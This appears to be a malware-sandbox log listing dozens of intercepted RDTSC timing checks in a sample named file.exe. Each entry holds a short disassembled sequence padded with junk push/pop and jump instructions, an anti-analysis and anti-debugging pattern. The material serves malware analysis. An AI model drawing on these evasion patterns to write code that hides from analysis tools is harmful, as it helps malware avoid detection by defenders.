Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D534D second address: 11D538E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FD9092ECB2Dh 0x0000000b nop 0x0000000c adc ebx, 46112A20h 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+124532B3h], edi 0x0000001a push 00000000h 0x0000001c mov dword ptr [ebp+12452E0Fh], eax 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FD9092ECB34h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D538E second address: 11D5394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D62F0 second address: 11D6305 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD9092ECB2Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D55A1 second address: 11D55A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6305 second address: 11D6309 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D55A5 second address: 11D55B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FD908C4C6E6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D75DE second address: 11D75E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D93AE second address: 11D93B4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D93B4 second address: 11D93BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC30A second address: 11DC30E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC30E second address: 11DC314 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC314 second address: 11DC319 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD34D second address: 11DD352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE25C second address: 11DE272 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD908C4C6E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007FD908C4C6F0h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF26F second address: 11DF273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DA552 second address: 11DA56C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FD908C4C6ECh 0x0000000c jns 00007FD908C4C6E6h 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pushad 0x00000018 popad 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DD4B1 second address: 11DD4B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E033E second address: 11E0342 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E05A8 second address: 11E05AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E05AC second address: 11E05B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E05B0 second address: 11E05B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E05B6 second address: 11E05BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E05BC second address: 11E05C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E35CD second address: 11E35D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5B09 second address: 11E5B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA824 second address: 11EA89F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EFh 0x00000007 jmp 00007FD908C4C6F3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007FD908C4C6ECh 0x00000014 jnl 00007FD908C4C6E6h 0x0000001a pushad 0x0000001b jbe 00007FD908C4C6E6h 0x00000021 pushad 0x00000022 popad 0x00000023 push edi 0x00000024 pop edi 0x00000025 jmp 00007FD908C4C6EFh 0x0000002a popad 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f jnp 00007FD908C4C6E6h 0x00000035 jng 00007FD908C4C6E6h 0x0000003b popad 0x0000003c jnc 00007FD908C4C6FDh 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EA89F second address: 11EA8A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EAB23 second address: 11EAB28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE02B second address: 11EE02F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE02F second address: 11EE047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a js 00007FD908C4C6F8h 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007FD908C4C6E6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE047 second address: 11EE04B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE04B second address: 11EE06C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD908C4C6F5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE06C second address: 11EE072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE072 second address: 11EE084 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD908C4C6EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE084 second address: 11EE0A2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD9092ECB26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007FD9092ECB2Ch 0x00000018 jbe 00007FD9092ECB26h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE0A2 second address: 11EE0A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F45EB second address: 11F45EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F45EF second address: 11F45F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4B35 second address: 11F4B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4B3A second address: 11F4B41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4CC4 second address: 11F4CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4CC8 second address: 11F4CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4CCE second address: 11F4CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4CD8 second address: 11F4CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4CDC second address: 11F4CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA29C second address: 11FA2A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD908C4C6E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA2A6 second address: 11FA2AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA2AA second address: 11FA2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA2B9 second address: 11FA2BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA2BF second address: 11FA2C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA2C3 second address: 11FA2CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA423 second address: 11FA43A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD908C4C6F2h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC17F second address: 11AC1BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FD9092ECB32h 0x00000008 pop eax 0x00000009 jbe 00007FD9092ECB37h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD9092ECB2Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB354 second address: 11FB359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB359 second address: 11FB35F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9D3B second address: 11F9D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD908C4C6EBh 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FD908C4C6E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12040EB second address: 12040EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12040EF second address: 12040F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12040F7 second address: 12040FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12040FC second address: 120410A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD908C4C6E6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120410A second address: 1204144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD9092ECB26h 0x0000000a jmp 00007FD9092ECB39h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jo 00007FD9092ECB32h 0x0000001a jo 00007FD9092ECB26h 0x00000020 jno 00007FD9092ECB26h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202D3E second address: 1202D56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6F4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202D56 second address: 1202D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD9092ECB36h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120332F second address: 1203339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FD908C4C6E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202A64 second address: 1202A82 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD9092ECB34h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202A82 second address: 1202A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12038AA second address: 12038D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FD9092ECB31h 0x0000000d jmp 00007FD9092ECB30h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206EA9 second address: 1206EB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120B494 second address: 120B498 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120B498 second address: 120B4C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FD908C4C6F9h 0x00000012 popad 0x00000013 popad 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120B4C5 second address: 120B4C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120B4C9 second address: 120B4CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11841FD second address: 118420B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD9092ECB26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118420B second address: 118420F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118420F second address: 1184219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEA0D second address: 11CEA11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEA11 second address: 11CEA17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEA17 second address: 11CEA2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c ja 00007FD908C4C6E6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEAD1 second address: 11CEAEB instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD9092ECB2Ch 0x00000008 jnc 00007FD9092ECB26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEAEB second address: 11CEAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEAF4 second address: 11CEAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEAF8 second address: 11CEAFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEC2E second address: 11CEC34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEFD3 second address: 11CF05B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FD908C4C6E8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push 00000004h 0x00000028 push 00000000h 0x0000002a push esi 0x0000002b call 00007FD908C4C6E8h 0x00000030 pop esi 0x00000031 mov dword ptr [esp+04h], esi 0x00000035 add dword ptr [esp+04h], 0000001Bh 0x0000003d inc esi 0x0000003e push esi 0x0000003f ret 0x00000040 pop esi 0x00000041 ret 0x00000042 mov edx, 4B2438B7h 0x00000047 nop 0x00000048 jnc 00007FD908C4C6FBh 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 push ecx 0x00000052 push esi 0x00000053 pop esi 0x00000054 pop ecx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CF57F second address: 11CF583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CF756 second address: 11CF797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jnp 00007FD908C4C6E8h 0x0000000d popad 0x0000000e nop 0x0000000f jnp 00007FD908C4C6ECh 0x00000015 lea eax, dword ptr [ebp+124831A3h] 0x0000001b jmp 00007FD908C4C6ECh 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FD908C4C6EFh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A50A second address: 120A515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A515 second address: 120A53E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD908C4C704h 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A53E second address: 120A544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A6B6 second address: 120A6BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A6BA second address: 120A6C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A6C2 second address: 120A6E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD908C4C6EDh 0x00000009 jmp 00007FD908C4C6F2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120AC8C second address: 120ACA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9092ECB32h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120ACA4 second address: 120ACE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD908C4C6EAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jnl 00007FD908C4C6ECh 0x00000014 jnp 00007FD908C4C6E6h 0x0000001a jne 00007FD908C4C6EEh 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 pop eax 0x00000024 jmp 00007FD908C4C6F3h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120ACE8 second address: 120ACEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120AECC second address: 120AED2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120AED2 second address: 120AEDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120AEDC second address: 120AEE1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120B025 second address: 120B04C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9092ECB32h 0x00000007 jmp 00007FD9092ECB31h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
